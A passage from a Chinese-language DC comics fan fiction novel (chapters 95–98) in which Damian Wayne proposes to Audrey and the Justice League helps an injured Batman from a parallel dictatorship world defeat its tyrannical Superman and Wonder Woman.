面对这样永远可以自洽地为偶像辩护的粉丝，达米安一时竟无言以对。奥德莉被他的表情逗笑了，说：“我只是开个玩笑。我当然记得那段描述，但我想，在那个世界里他一定依然在追求正义，只是方式产生了偏差。” “我在哥谭见过很多蝙蝠侠的粉丝，但你肯定能让他们全都自愧不如。”达米安扶额。 “谢谢夸奖，我只是一个普普通通的粉丝罢了。”奥德莉一脸无辜地谦虚着。 第95章 达米安又提起另一件事：“布鲁斯已经让黑暗正义联盟一起追查血言教团的…… 达米安又提起另一件事：“布鲁斯已经让黑暗正义联盟一起追查血言教团的动向,但目前他们那边毫无进展，反而是我们这边有了新的线索。” 奥德莉立刻想起大二暑假时，她和年轻的布鲁斯、阿尔弗雷德、迪克和达米安被红衣人从梦境中带到血言教团总部的经历。醒来后,只有她一个人保留了那段记忆。她将删减版告诉了布鲁斯,却没有提及其他人也曾身在其中。 她热情高涨地说：“快告诉我。如果抓住了那个红衣人,我很乐意去当面嘲笑他一番。” “倒不是那么大的进展。”达米安的语气中带着几分复杂情绪。“只是我们都想起了那个梦。包括布鲁斯，他说自己在早年游历期间，曾做过那样的一个梦。” 奥德莉的笑容僵了一下,有些尴尬。她当初并没有把所有细节说出来，一是不想承认自己知道了布鲁斯的另一个身份，二是觉得那些信息算不上重要。现在旧事重提，她心里忍不住恼怒地嫌弃：无形之术的失忆效果怎么这么不靠谱？红衣人一副超级厉害的样子,却连布莱克的水平都比不上。 毕竟,布莱克有意造成的失忆效果至今仍未失效，达米安想起的只是被连带抹去的维多利亚时期的经历,而奥德莉离开拉撒路池的那几分钟已经从达米安的记忆中彻底被抹去了。 “等等，”奥德莉忽然冒出一个想法，“如果法术失效了……会不会是因为红衣人死了？” “我们倾向于认为是血言教团本身出了问题。如果红衣人一死,法术就失效,那可能早在几百年前就有人发现这个教团了。” “这倒也是。照这么推理的话，教团应该在布鲁斯做出裁定之前就已经覆灭了，法术根本未曾施展，自然也谈不上什么失效。可要真是这样，那次裁定也本不该存在,你们又为什么会记起一段理论上从未发生过的记忆？” “这就像一个祖父悖论,一个人回到过去杀死了自己的祖父，他却没有消失。”达米安显然也想不通其中的逻辑。 听了达米安举的例子,奥德莉露出一个想笑却强忍着的表情，但什么也没说。达米安看在眼里，心领神会，无奈地说：“如果你想讲一个亲缘关系不确定性的笑话，我不会阻止的。” “你完全摧毁了这个冷笑话的笑点，让它变成了一个僵尸笑话。”奥德莉抗议了一句，然后又想到一个问题，“红衣人曾说毁灭了血言教团的人是蝙蝠侠，这也是他选择年轻的布鲁斯作为裁定者的原因。难道是他的预言出了错？” “目前还没有答案。”达米安说。“我只是觉得你可能会想知道这个消息。” “谢谢。我确实对这个教团耿耿于怀。一想到他们曾在暗中无数次裁定历史，剥夺了人们对命运的知情权与选择权，而世人却浑然不觉，我便觉得恐惧不安。” “我明白，这是对自由意志的严重侵犯。”达米安微微移开目光，不再直视奥德莉。“另外，很抱歉把你拉进了梦里。” “这不算什么，能见证那次裁定是我的荣幸。不过……”奥德莉故意拖长了调子。 达米安的眼神立刻更加慌乱了，他支支吾吾着说：“对不起，擅自梦到你。” 奥德莉沉默了几秒，看着达米安的绿眼睛中露出恳求，她才慢吞吞地说：“我要说的是，我允许你担心我，以及想要保护我。还记得吗，红衣人说我之所以被一起从梦里带去，是因为你对我的保护欲太强烈了。” “我记得。”达米安轻声说。“我也记得你说过，你不喜欢被那样对待。” “因为那时我们还不够熟嘛。”奥德莉回想起他们在维多利亚时期的对话。“现在不一样了，我允许你担心我，但我并不会因为你的担心而不去做调查员的工作。” “我绝不会那样要求你。”达米安认真地说。“我们都有各自的职责，不需要和对方时刻黏在一起。” 他顿了顿，依然凝视着奥德莉：“在你需要我的时候，我和你只隔了一次传送的时间。” “我知道。”奥德莉说。 甜点端上来后，奥德莉注意到达米安的神态肉眼可见地变得紧绷了，这令她警铃大作。 浪漫爱情电影的常见桥段之一，就是把戒指放在甜品里，不知情的女主角傻乎乎地把戒指吞下去，然后进了医院。 达米安听完奥德莉的描述，诧异地说：“你确定这是浪漫电影的情节，而不是惊悚电影吗？” “所以我猜对了吗？” “很可惜，没有。但如果你喜欢的话，我可以马上安排。” “我对黏糊糊的戒指不感兴趣。”奥德莉立刻否决了这个提议。 “那一枚干净清爽的戒指呢？”达米安站起身，走到奥德莉身旁单膝跪下。他从西装口袋里取出一个小盒子，打开它，对奥德莉说：“你愿意嫁给我吗？” 他看着奥德莉的眼睛，目光前所未有地专注，眼底藏着一丝不易察觉的紧张。 奥德莉看着盒子中那枚没有镶嵌宝石、几乎可以称得上朴素的金属圈，说：“我以为会是一颗大到可以在月球上看到反光的钻石。” 对于她的玩笑话，达米安认真地说：“那样的戒指你没办法随身携带。”他顿了顿，又补充道：“我不想让它成为你的负担，或者只是一件被你放在保险柜里、偶尔才拿出来看一看的收藏。这枚戒指是我用振金做的。不管你在做什么，它都不会碍事，你可以每天戴着它，就像我时刻跟在你身边一样。” “前提是，我愿意接受它。”奥德莉说。“这是你突发奇想的计划吗？被我打乱了节奏之后的小小报复？” 达米安说：“真高兴我在你心里是这样厉害的形象，能在几个小时之内做出这枚戒指。” “你准备了多久了？” “去年去纽约的时候，我就带着它。”达米安说。“我一直很确定自己想要的是什么。我想和你共度一生。” 奥德莉轻轻挑眉，神色有点复杂地说：“这种霸道总裁式发言很危险啊，‘我想要，我一定会得到’？这是刺客联盟的培养方针吗？” 达米安轻轻一笑，没有否认：“对于其他事物，或许是吧。但对于你，我会争取，也会退让……我永远甘愿把所有的主动权放在你手里。无论你走得远还是近，选择我，或者不选择，我都遵从你的决定。” 他的表情很平淡，就好像他不是正在说浪漫情话，而是在冷静地陈述一个公理：“因为你不是我要征服的目标，而是我爱的人。” 奥德莉与达米安对视了几秒，忽然伸手捏了捏他的脸颊：“你是不是偷偷修炼了杯之魅惑？快点坦白。” 达米安那双绿色的眼睛里满是无辜，他含混不清地说：“我好冤枉啊，请老板明察。” 奥德莉松开手，拿起戒指看了看，指环外侧光滑圆润，内侧刻着A&D，后面还刻了一颗小小的心形图案。 “这么少女心哦。”奥德莉笑起来。她微微俯身，靠向依然单膝跪地的达米安，轻声说：“我有时候觉得，你好像会读我的心。” “这代表你同意了吗？”达米安问。 奥德莉伸出手，示意达米安为自己戴上戒指，然后用夸张的语气说：“恭喜你，今天不止得到了一位女朋友，还得到了一位未婚妻。” 说完，她低下头，吻住了达米安。 她的手轻轻地搭在达米安的肩膀上，隔着西装布料，她能清晰地感觉他的肌肉下意识地绷紧了一瞬，仿佛只需要一个动作，他就能毫不费力地制服任何威胁。她的指尖不自觉地收紧了一点。 达米安像是一头收敛锋芒的猛兽，毫不闪躲地顺从于她的触碰。在她靠近的那一刻，他微微垂下眼睫，克制地等待着，这令她感到无比安心。 “我想哈利会很不满，他一直觉得你是花花公子预备役。我父母大概也会这样想。”达米安坐回对面的座位后，奥德莉喝了几口冰水，有点烦恼地说。“我想这就是秘密身份的小小弊端了。” 达米安打开盒子的夹层，露出另一枚一模一样的戒指。他说：“在这一点上，我不会学习布鲁斯的伪装方式。哥谭也不需要另一个多情的韦恩。” 奥德莉瞪大了眼睛，然后笑着为达米安戴上戒指，顺势与他十指交握：“我知道。” 她看着两人手上的戒指，又看看达米安，说：“你是我的。我的独一无二的玫瑰花。” “我是你的。”达米安重复了一遍。 两个人一起傻乎乎地笑起来。 “不过，在另外一点上，我还是会学习布鲁斯的。”达米安又从口袋里取出一张黑卡。“我是不是可以凭借私人关系，获得赞助金牌调查员的优先资格了？” 奥德莉毫不客气地收下了黑卡，说：“感谢你的捐赠。我会把你写进致谢名单里的。” “别忘了在我的名字前面加上‘我挚爱的’，这样才能和其他赞助人区分开。”达米安大言不惭地说。 “你的要求好多。”奥德莉佯装抱怨。 下一秒，一声沉闷的重物落地声骤然打破了他们之间的轻松氛围。两人交换了一个警觉的眼神，一起望向声音的来源。 “蝙蝠侠？”奥德莉惊讶地叫出声，盯着那个趴在地上一动不动的披风男人。 “不对，他的制服颜色不一样，不是黑色，而是深灰色。”达米安拦住了想要跑过去的奥德莉。 “模仿者？”奥德莉看着达米安摘下了那名男子的面罩，露出一张和布鲁斯一模一样的脸，只是脸色苍白，额头上有一处很深的伤口。她盯着那道触目惊心的伤口，担忧对方的制服下还隐藏着更多的伤。 “他的制服和装备都和蝙蝠侠的非常像。也许这是一位异世界访客。”达米安说。 “他……还活着吗？”奥德莉的声音无法控制地颤抖起来。她无法想象，如果蝙蝠侠还有一丝力气，怎么会那样狼狈地趴在那里，任由别人摘下自己的面罩。 “他只是昏过去了。”达米安迅速地检查了一遍，说出了初步结论。“他伤得很重，多处骨折和外伤，也许还有内出血。” “天啊，我们得赶紧传送回庄园。” 第96章 阿尔弗雷德一如既往地处变不惊，在等待汤普金斯医生的时候，他已经开始…… 阿尔弗雷德一如既往地处变不惊,在等待汤普金斯医生的时候，他已经开始动作娴熟地为男人缝合伤口，连一丝颤抖都没有。 奥德莉第一次见到这样的蝙蝠侠。虽然他并非她认识的那一位,她仍难过得几乎落泪,完全没有心情去打量自己身处的蝙蝠洞。 “他会好起来的,只是需要一些时间。”汤普金斯医生最后这样宣布。“他的求生意志非常顽强。” 奥德莉松了口气，接着就听见阿尔弗雷德温和地开口，恭喜她和达米安订婚了。 汤普金斯医生这才注意到两个年轻人手上的对戒,惊喜道：“恭喜你们！可惜布鲁斯没在，他一定也会非常为你们高兴。” “所以上天派来了另一位布鲁斯。”达米安半开玩笑地指了指来自异世界的蝙蝠侠。“您觉得他和布鲁斯的年纪是不是差不多？” 汤普金斯医生点点头：“年龄相近，但他的旧伤可比布鲁斯少多了。” 奥德莉刚才明明看见这位蝙蝠侠的身上有许多旧伤疤。她不由地想，那布鲁斯又是怎样的伤痕累累？ “阿福。”一个微弱的声音忽然响起。 “你醒了？”众人吃惊地望向蝙蝠侠。他们原以为,他至少还需要昏睡十几个小时才能恢复意识。 “看来我成功了。”蝙蝠侠虽然凭借强大的意志力醒过来,但仍很虚弱，声音低哑,语速比平时缓慢许多。“我真的到了平行世界。” 蝙蝠侠的视线扫过汤普金斯医生，显然认出了她，然后又看向奥德莉和达米安,犹豫了一下。 “我是达米安,布鲁斯的儿子。这是奥德莉，我的未婚妻，她知道你的秘密身份。”达米安立刻介绍。 “看来我的同位体过得不错。”蝙蝠侠自嘲地低笑了一声。“我的阿福去世了，我也没有儿子。” “你先休息吧。”阿尔弗雷德劝道。 蝙蝠侠摇摇头，语气冷峻：“我没有时间可以浪费。”他喘息了一下,开始讲述自己的世界。 在那里,莱克斯卢瑟杀死了闪电侠，然后成功竞选成为总统。超人、蝙蝠侠和神奇女侠对法律和制度彻底失去了信心,直接攻入了白宫。超人亲手杀死了卢瑟，蝙蝠侠和神奇女侠不但没有阻止，甚至对他的行为表示认可。 很快，正义领主们接管了世界，整个地球都处于他们的独裁统治之下。他们要求所有人类遵循秩序行事，胆敢反抗的人都被毫不留情地处决。 起初，社会变得井然有序，犯罪率降低到几乎为零。领主蝙蝠侠认为这个制度运行得很好，坚定地支持领主超人。 然而，接下来的几年里，数位正义领主一再突破道德底线，镇压一切异己言论，并对所有反对者施以脑前叶切除手术。不仅如此，在发现平行世界的存在之后，他们还试图将领主制度推广到其它世界，手段则是消灭平行世界的正义联盟。 平行世界的蝙蝠侠点醒了领主蝙蝠侠，使后者意识到自己正走在一条错误的道路上。领主蝙蝠侠决定帮助正义联盟对抗正义领主。 平行世界的卢瑟将其原本设计用来对付正义联盟的超能力剥夺装置用在正义领主身上，然后将失去能力的正义领主们送回他们的世界，之后彻底封锁了通道，以防正义领主们再次造访。 几年后，正义领主们恢复了能力。领主超人又打算继续他的独裁统治，领主神奇女侠也支持他的决定。有几位领主厌倦了助纣为虐，却也不愿与超人对立，选择离开地球，只留下领主蝙蝠侠独自对抗领主超人。 领主蝙蝠侠很快意识到，仅凭一己之力不足以对抗领主超人的势力。他决定向平行世界求援，但之前的平行世界已经封锁了通道，他不得不再寻找其它的平行世界。 在他几乎成功的时候，在领主超人的默认下，领主神奇女侠对他偷袭并重伤了他。千钧一发之际，领主蝙蝠侠传送到了平行世界。 最后，领主蝙蝠侠说：“我需要你们的帮助。” “我们会帮你的。”阿尔弗雷德说，同时迅速地给领主蝙蝠侠注射了一支强力镇定剂。 奥德莉目瞪口呆地看着领主蝙蝠侠陷入昏睡，然后为阿尔弗雷德鼓掌。 管家侠干得好！不愧是养蝙蝠专业户，该出手时就出手，绝不过分纵容。 就是动作似乎太娴熟了，令人不禁揣测布鲁斯是不是也被这样“强制休息”过，而且不止一次。 “老爷和超人明天才回来，他现在醒着也没什么意义，反而不利于养伤。”阿尔弗雷德淡定地陈述自己的理由。“你们要吃晚饭吗？” “我要回去宣布这个消息。”奥德莉举起戴着戒指的手晃了晃。“我父母不在家，但是可以先去告诉朋友。” “我可以和你一起去吗？”达米安立刻问。 “当然。”奥德莉说，又询问阿尔弗雷德：“我明天来看领主蝙蝠侠可以吗？” “韦恩庄园是您的家，随时欢迎您。”阿尔弗雷德说。 两个年轻人牵着手离开了。汤普金斯医生笑着说：“要是托马斯和玛莎还在，他们一定会很激动。” 莱斯利汤普金斯是布鲁斯的父亲托马斯在医学院的同学。韦恩夫妇遇害后，她与阿尔弗莱德一同照顾年幼的布鲁斯，知晓他的蝙蝠侠身份。 多年来，她一直悄悄地担任蝙蝠侠的私人医生，并在韦恩集团的资助下开了一家免费诊所，帮助穷苦的市民。 “托马斯老爷大概会笑话布鲁斯老爷，先用自己作为例子，讲述他和玛莎夫人是多么幸福，再以达米安少爷为对比，故作疑惑地询问，同样是年少相恋，为什么达米安少爷顺利订婚，而布鲁斯却人到中年还孤身一人。”阿尔弗雷德一本正经地说。 “我怎么觉得……这完全是你想对布鲁斯说的话。”汤普金斯医生大笑起来。 “也许是因为我和托马斯老爷经常意*见一致吧。”阿尔弗雷德说。 到了奥斯本集团楼下，奥德莉没有立刻进去，而是在群里发了一句话：“我订婚了。” “什么？”几乎是瞬间，三条一模一样的回复跳出来。 “我和他正在楼下。如果有空的话，我们一起喝杯咖啡？” “来我办公室。”哈利立刻回复。 和达米安乘电梯上顶楼的时候，奥德莉说：“你见过哈利。另外格温和彼得也会来，他们暑假在这栋楼的实验室里工作。” 达米安看看自己的西装，忽然有点犹豫：“我会不会穿得太正式了？” “哈利一定也穿着西装，你的装扮正好。”奥德莉说。 电梯门打开，哈利已经站在那里了。他的表情很平静，就好像刚才在群里大为惊讶的人不是他一样。 哈利和达米安握了握手，随后便领着他们走进了会客室，还和达米安融洽地聊起天来。此刻他们就像是两个普通的商界精英，而非各自有着秘密身份的人。 “我们来了。”格温几乎是小跑进来的，彼得紧跟在她身后。她热情地与达米安打了个招呼。 “达米安韦恩。”奥德莉郑重地介绍。 “生日快乐。”格温微笑着补充一句。 达米安愣了一下，明悟了什么，偷偷瞥了奥德莉一眼，对格温说：“谢谢。” 显然，奥德莉早就向朋友提起过他。意识到这一点，达米安心里的那只狗狗猫又开始激动地摇起尾巴了。 五个人落座之后，奥德莉十分刻意地拉着达米安的手一起放在桌面上。其他三人立刻明白她是在展示戒指。 “你们什么时候恋爱的？这么快就订婚了。”彼得脱口而出，然后被格温在桌子底下踢了一脚。 “今天。怎么了？”奥德莉毫不在意地轻轻挑眉。“我们确定恋爱关系之后，觉得来个升级也不错。” 格温握住奥德莉的手，仔细地看了看戒指：“振金，很符合你的调查员气质。” “我就知道你能看出来。”奥德莉笑嘻嘻地说。“好啦，发布会结束，我要回家去给爸妈打个电话，希望他们出差时不需要加班。” 奥德莉和达米安离开后，格温和彼得又回到实验室工作到深夜。格温活动了一下肩膀，对彼得说：“我要下班了，一起走吗？” “我去看看哈利。”彼得说。 格温沉默了一会儿，说：“我一直觉得，他自己可能完全没意识到。也或许是我们想得太多了。” “你建议我不要去？”彼得犹豫了。 “我只是想提醒你，在陪伴的时候不要太话痨。” “去年的今天，我在格林威治村见到过他们俩在一起。”彼得忽然想起了这件事。 “我知道。”格温说，看到彼得困惑的眼神后解释道：“我是说，我知道他们去年在一起为达米安过生日。” 彼得点点头，和格温道了晚安，先去楼下的便利店买了一打啤酒，然后才去哈利的办公室门外探头探脑。 “你知道酒精对我们俩都无效，对吧？”哈利有点无奈地说，一边打开一瓶啤酒。 彼得“嘿嘿”地笑了一声，也打开了一瓶：“这样比较有仪式感。” “我知道你在想什么。你想多了。不必担心我。”哈利向后靠在沙发上，望着窗外曼哈顿的夜景。 “也许格温会相信你这句话。但我看到的更多。”彼得低声说。 “我的父母当年也曾有过甜蜜的时光，但在我出生后，母亲为了逃离父亲不惜伪造死亡，至死都没有再联系过我们。”哈利平静地提起这个只对彼得说过的秘密。 “我明白。”彼得望着哈利，忽然觉得心中酸涩。 “我喜欢我现在的这个位置，”他说，像是在对彼得说话，也像是在对自己做一次确认，“我不想打破任何平衡。恋爱关系分分合合，而我永远会在这里。” 两人一起望着窗外，将所有啤酒都喝光了。 第97章 布鲁斯不过是因为任务而出门几天，回到哥谭之后深感世界变化太快，让他…… 布鲁斯不过是因为任务而出门几天,回到哥谭之后深感世界变化太快，让他一时有点难以适应。 首先，是达米安订婚了。 他本来预计的最理想进展是达米安表白成功,没想到两个年轻人竟然如此迅速地迈进人生下一阶段。他对此当然乐见其成,但如果阿福没有在告诉他这件事时顺便奚落他,那就更好了。 至于达米安那只恨不得二十四小时都举给人看的、无名指上戴着一枚戒指的手，以及他在说话时莫名其妙加入的各种毫无意义的手部动作，布鲁斯已经可以做到视而不见了。 杰森在参加每月一次的罗宾聚餐时,先是恭喜了达米安，两人兄友弟恭了一阵子，气氛一度堪称温馨。但达米安的手势实在是太刻意，而且似乎要持续到地老天荒,终于,杰森有点暴躁地说：“怎么，你现在变成意大利人了吗？不挥舞双手就不能说话了？” 达米安一脸无辜地说：“我听不懂你在说什么。”他把手放在桌面上,状似无意地继续展示自己的戒指。 杰森翻个白眼，说：“我们都已经看到了，你可以把手收到我的视线之外的地方了。” 达米安真诚地说：“陶德,你不要这么激动。我不知道你现在得了‘人手恐惧症’。” 迪克见杰森已经气得把手伸向腰侧,疑似想去拔枪，急忙按住他的胳膊，打圆场说：“他现在还处于十分激动的阶段，我们暂时忍他一个月。” 他又转向达米安，说：“我们的忍耐是有限度的。下次聚餐的时候,希望你已经恢复正常了。” “德雷克,你怎么说？”杰森瞪了一眼在一旁偷笑的提姆。 “我觉得无所谓啊，我没有那种被刺到痛处的感觉。”提姆耸耸肩,云淡风轻地说。“至于你，我就不知道为什么反应会这么大了。” 杰森眯起眼：“你在暗示什么吗？” “没有啊。”提姆慢悠悠地回答。 “好了好了，我们吃披萨吧。”迪克不得不又一次跳出来，避免一场可能的罗宾混战。 布鲁斯假装无意地从门口路过，然后去找阿尔弗雷德抱怨：“达米安已经快要惹恼所有人了。” “可能因为这个家里的人都没怎么见过订婚戒指吧。如果您也戴上一枚，大家看多了，自然就脱敏了。”阿尔弗雷德淡定地说。 布鲁斯落荒而逃。 其次，自然是领主蝙蝠侠的出现。 对这个和自己过于相似的同位体，布鲁斯有些微妙的不爽情绪。他尽量不表现出来，只是时不时在心里挑剔几句，还在私下里称对方为“灰蝙蝠”。 灰蝙蝠和他的性格很像，这一点倒也不算什么。真正让布鲁斯耿耿于怀的是，这个家伙经常对着阿福撒娇，难道灰蝙蝠没有自己的阿福吗？ 好吧，灰蝙蝠真的没有阿福了。 哥谭王子布鲁斯始终自信，毫不怀疑自己在阿福心里的地位无人能敌。但面对一个受了重伤的灰蝙蝠，阿福难免心软几分。 尽管阿福在行动上始终是一碗水端平，像一个养育双胞胎的家长一样，绝不让任何一个孩子觉得自己被区别对待了，但布鲁斯总能在细枝末节中发现阿福“偏心”的蛛丝马迹。哪怕是当他和灰蝙蝠意见不合时，阿福在灰蝙蝠气得几乎崩裂了伤口之际让他少说一句，在布鲁斯眼里也成了“我失宠了”的铁证。 布鲁斯撇撇嘴，表面上乖巧地闭上嘴，心里却在批判灰蝙蝠是个心机鬼。当然，他也不是全无自知之明，很快就意识到灰蝙蝠那些小花招与他自己平时的做派同出一辙。 除了阿福之外，布鲁斯很快察觉到，自己的狂热粉丝奥德莉隐隐也有了倒戈的迹象。有一次奥德莉甚至还说：“他不是来破坏这个家的，他是来加入这个家的。” 说这句话的时候，尽管拼命掩饰，奥德莉的眼神却出卖了她的真实心情。那是水仙党在最狂野的梦想成真之后会露出的激动和狂喜。 两个蝙蝠侠同框，镜像般的面容上带着同样克制的表情，她看得都有点晕乎乎的，脑子运转的速度也大幅度降低，只忙于将这副场景铭刻在记忆里，完全没有余力进行什么严肃的思考。 “她这是怎么了？”领主蝙蝠侠半躺在床上，不但明知故问，还故意把头歪向布鲁斯。 “你不要再逗她了，她已经在死机边缘了。”布鲁斯虽然这么说，却也坏心地把头靠向领主蝙蝠侠，然后不出所料地听见奥德莉倒吸了一口气。 “好了，继续说正事吧。”布鲁斯将椅子挪得离领主蝙蝠侠远了几分，以便奥德莉恢复一些理智。“如果只是简单地打败领主超人或是让他暂时失去超能力，却没能真正改变他的想法，那总有一天他还会卷土重来的。” “我知道，我已经吃到教训了。”领主蝙蝠侠说。 布鲁斯毫不客气地说：“你还能与他战斗多久？在黄太阳下，超人拥有近乎无尽的寿命，而你总有一天会死。” “我制造了我的克隆体，未来永远有人会替我守护哥谭、守护地球。”领主蝙蝠侠平静地说。 “即使他做了那么多错事，你依然把他视为你最好的朋友。” 布鲁斯的这句话不是疑问，而是陈述。 领主蝙蝠侠沉默了几秒，然后说：“我们的世界很像。你肯定能明白，我和超人也曾经是世界最佳拍档。我们彼此契合，就像手与手套。我们曾经有过共同的理想，希望能打造出一个更好的世界。” “无论如何，我们先把领主超人打败，然后再想下一步。”布鲁斯说。“等你养好伤，正义联盟会和你一起回去。” “我不能等那么久。”领主蝙蝠侠皱眉，语气强硬地说：“我已经没事了。” “你现在连站起来都费劲。”布鲁斯说。 领主蝙蝠侠咬紧牙关，挣扎着想要站起来走几步，向布鲁斯证明自己行动无碍，下一秒就被阿尔弗雷德批评了，不得不再次躺下。 他无奈地对布鲁斯说：“那在我养伤期间，你先把穿越平行世界的机器制造出来吧。” 布鲁斯诧异：“你来这里时用的机器呢？” “被领主神奇女侠打坏了，我能到成功到达这里，已经是幸运了。” 布鲁斯听完领主蝙蝠侠口述的制造方案，说：“看来我们的世界也没有那么相同。很多材料和元素是不同的，我需要通过实验找到替代品。” “需要多久？”领主蝙蝠侠皱起眉。 “我会尽快完成的。”布鲁斯没有正面回答。 “布鲁斯，我也许能帮上忙。”奥德莉想起自己和达米安最近讨论过的那个善恶界限模糊的世界。“如果领主蝙蝠侠的世界是我想的那个，我可以带大家穿越过去。” 布鲁斯沉思片刻，说：“我先研究制造方案，如果他伤愈后仍没有进展，就试试你的方法。” 领主蝙蝠侠插话道：“你通知正义联盟，五天后我就可以出发。” 这一次，布鲁斯没有再拒绝领主蝙蝠侠的提议。他理解领主蝙蝠侠的焦虑，也知道对方和自己一样，无数次在伤势尚未痊愈时便投入下一场战斗。 养伤直到真正康复，对他们来说是一种难以承受的奢侈。 五天后，正义联盟的主要成员齐聚瞭望塔，奥德莉和达米安也与两位蝙蝠侠一起抵达。 蝙蝠侠向众人介绍道：“她的代号是西维塔。” 超人和闪电侠早已见过奥德莉，热情地与她打招呼，其他几人也纷纷对她点头示意。 “如果发现我们前往的不是领主世界，就尽快返回；如果是领主世界，大家随时准备迎战。”蝙蝠侠嘱咐道。 “那个世界有什么显著特征吗？”闪电侠活泼地问。 “领主超人的制服是黑白两色的。随处可见他的海报，你不可能错过。”领主蝙蝠侠说。“另外，到处都是摄像头，大量的机器人在街上维持秩序，每个人的脸上都带着恐惧，生怕一不小心就会犯错。机器人可不懂什么变通，它们只会机械地把人抓走。” “那我们岂不是一落地就会被发现了？”超人瞪大了眼睛。 “对，用不了三分钟领主超人就会飞到我们面前了。”领主蝙蝠侠冷笑了一下。“罗宾，你负责保护西维塔。领主超人很快会发现她并不强于战斗，他可不会手下留情。” “战术部署是我的工作。”蝙蝠侠冷冷地说，然后对罗宾点点头，默认了领主蝙蝠侠的指令。 “大家站得近一点，也许最好拉着手，以免传送时遗漏了谁。”奥德莉布置好了仪式，招呼大家做好准备。 一瞬间后，众人站在了一条整洁的街道上。 “果然不可能错过。”奥德莉看着眼前的巨型海报，喃喃地说。 所有人都盯着领主超人圣洁的、凛然不可侵犯的肖像，然后又齐刷刷地去看他们的超人。 “他和你长得一模一样，但他似乎完全失去了身为人的情感，彻底将自己视作神明。”神奇女侠说。 “当他将自己视为优于人类的存在时，他注定就无法真正理解人类，也无法成为他们的守护者。”超人说，然后望向远处。“他们来了。” “他俩是一对情侣，你没有告诉我们这件事。”神奇女侠嫌弃地看着飞来的领主超人和领主神奇女侠。 “这重要吗？”领主蝙蝠侠问，换来神奇女侠的一个白眼。但敌人在前，她没有多说什么。 “你还没死。”领主超人说的第一句话就让众人想打他。 “追随你的其他领主呢？”领主蝙蝠侠问。 “他们以为你死了，纷纷背叛了我。我把他们都关起来了。”领主超人冷笑了一下。“我们两个就足以战胜你们了。” 很可惜，他错了。 正义联盟很快制服了两位领主，并将他们暂时关押在领主超人官邸内专门为关押超能力者而建的监狱里。 第98章 领主超人的官邸位于美国华盛顿特区，在过去的几百年里一直是总统官邸。…… 领主超人的官邸位于美国华盛顿特区,在过去的几百年里一直是总统官邸。在实施领主统治之后，他以此作为自己的官邸，并在外面的草坪上立起了十二座巨大的领主雕像。 每当一位领主背叛或离开时,领主超人便会亲自用热视线将那位领主的雕像化为齑粉——除了蝙蝠侠。 因此,此刻草坪上只剩下三座雕像,分别是领主超人、领主神奇女侠和领主蝙蝠侠。 “我将会给他们戴上只有我或者我的克隆体才能打开的超能力抑制器，然后我会再次尝试纠正他们的思想。如果这一次还是失败，我打算把他们关在幻影地带。”领主蝙蝠侠说,显然在养伤期间已经思考了很久。 “你觉得领主超人有可能重归正途吗？”蝙蝠侠问超人。 “为什么问我？”超人吓得飘了起来。“我和那个家伙完全不一样，我理解不了他的想法。” “这不是个陷阱问题。”蝙蝠侠扶额。“只是请你用超级大脑分析一下，毕竟他是你的同位体。” “可你才是我们之中更聪明的那个。”超人无辜地说，试图逃避这个任务,但在被蝙蝠侠眯着眼睛瞥了一眼之后,他不得不开始思考：“他的堕落起点是杀死卢瑟，也许可以把我们的卢瑟给他,就当一切都没发生过？” “我这里不是垃圾回收站。”领主蝙蝠侠对超人夹带私货的方案很不满。“而且领主超人又不是因为失去卢瑟而发疯的。” “只是开个玩笑。”超人露出狗狗眼表情，习惯性地用这一招应对蝙蝠侠的严肃。领主蝙蝠侠和他对视了几秒，然后神情复杂地移开视线。 蝙蝠侠在旁边轻轻咳嗽了一声。超人立刻端正表情,这次真正地动用了他的氪星脑细胞：“对我来说,克拉克肯特这个人类身份是我的一部分，和我的氪星身份一样重要。我在地球长大，是肯特夫妇的儿子。我不是在扮演人类，我就是人类中的一员。但领主超人似乎将领主当成了他的全天候职业？” “他杀死的第一个人类是卢瑟，第二个是克拉克肯特。”领主蝙蝠侠说。“他们死在了同一天。” 众人沉默了。片刻后,闪电侠说出了众人的心声：“听起来……他已经彻底迷失自我了。” 领主蝙蝠侠苦笑了一下：“我知道。但每次看着他的蓝色眼睛时,我总觉得，也许克拉克肯特只是被困在某处,而我必须把他救出来。我经常回想卢瑟死的那一天，如果那次我阻止了他，是否现在就不会变成这样。” “领主神奇女侠又是怎么会变成这样的？”神奇女侠终于问出口。她已经对这个问题思考良久，却始终无法得出一个合理的解释。她难以想象自己的同位体竟会放弃信念与荣耀，走上那样的道路。 “最初的她和你一样，是一位勇敢而高尚的战士。但她陷入了对领主超人不可自拔的、近乎盲目的爱情里，甘愿受他驱使。”领主蝙蝠侠说。 “你确定她不是被什么魔法力量洗脑了吗？”神奇女侠仍不死心地问，语气里带着一种难以接受的挣扎。她的同位体看起来那么陌生，那么不可理喻，她真希望能找到一个解释，一个理由，也好过相信那是对方自甘堕落的结果。 她也曾有过刻骨铭心的爱情，明白那种情感可以多么炽烈。但如果史蒂夫要求她一起堕落，要求她为了他背弃正义、放弃良知，就算是再痛苦，她最终也还是会拒绝的。 “她不是被洗脑。”领主蝙蝠侠低声说。“她是清醒地做出选择的。她相信领主超人的世界秩序，认为这是强者的恩赐，也是弱者唯一的希望。” “我仍然无法理解。”神奇女侠说。“我想请求你将她送回天堂岛，接受希波吕忒女王的看管。她是亚马逊的子民，我相信女王会有办法唤醒她的。” 领主蝙蝠侠沉默了几秒，似乎在权衡，最终点了点头：“我不确定她是否还愿意承认自己属于天堂岛。但你说得对，那里也许是她最后的机会。” “这个世界对我们是一个警示。”蝙蝠侠总结道。“我们会引以为戒的。” “我毫不担心。如果我做错了什么，你一定会立刻阻止我的。”超人骄傲地说。“我知道你对我们所有人都有一套应对方案，甚至包括对你自己。” 这家伙到底在骄傲什么……领主蝙蝠侠已经懒得再多给超人一个眼神了。他看看时间，说：“距离你们回去还有几个小时，如果你们想四处逛逛的话，请自便。” “治安模范城市哥谭。”路过一家书店时，奥德莉特意买了一本《哥谭旅游指南》，一边翻看一边感慨：“做梦都没想到哥谭能有这么一天。” 达米安站在她旁边，和她一起读着书上的内容：“阿卡姆的病人都被领主超人烧掉了脑前叶……他还真是够勤劳的。” “而且很有审美。那身白色制服美得超凡绝尘，他出场的时候就像天神降临人间一样。”奥德莉回想着之前看到的领主超人。“不过我还是更喜欢我们那位红蓝配色的超人。” “那蝙蝠侠的制服呢？你觉得黑色好看还是灰色好看？”达米安问。 “当然是黑色了。灰色也很好看，但它不适合夜晚行动，对于需要夜巡的蝙蝠侠来说有点不实用。” 达米安点点头，说：“领主蝙蝠侠确实很久不需要夜巡了。” 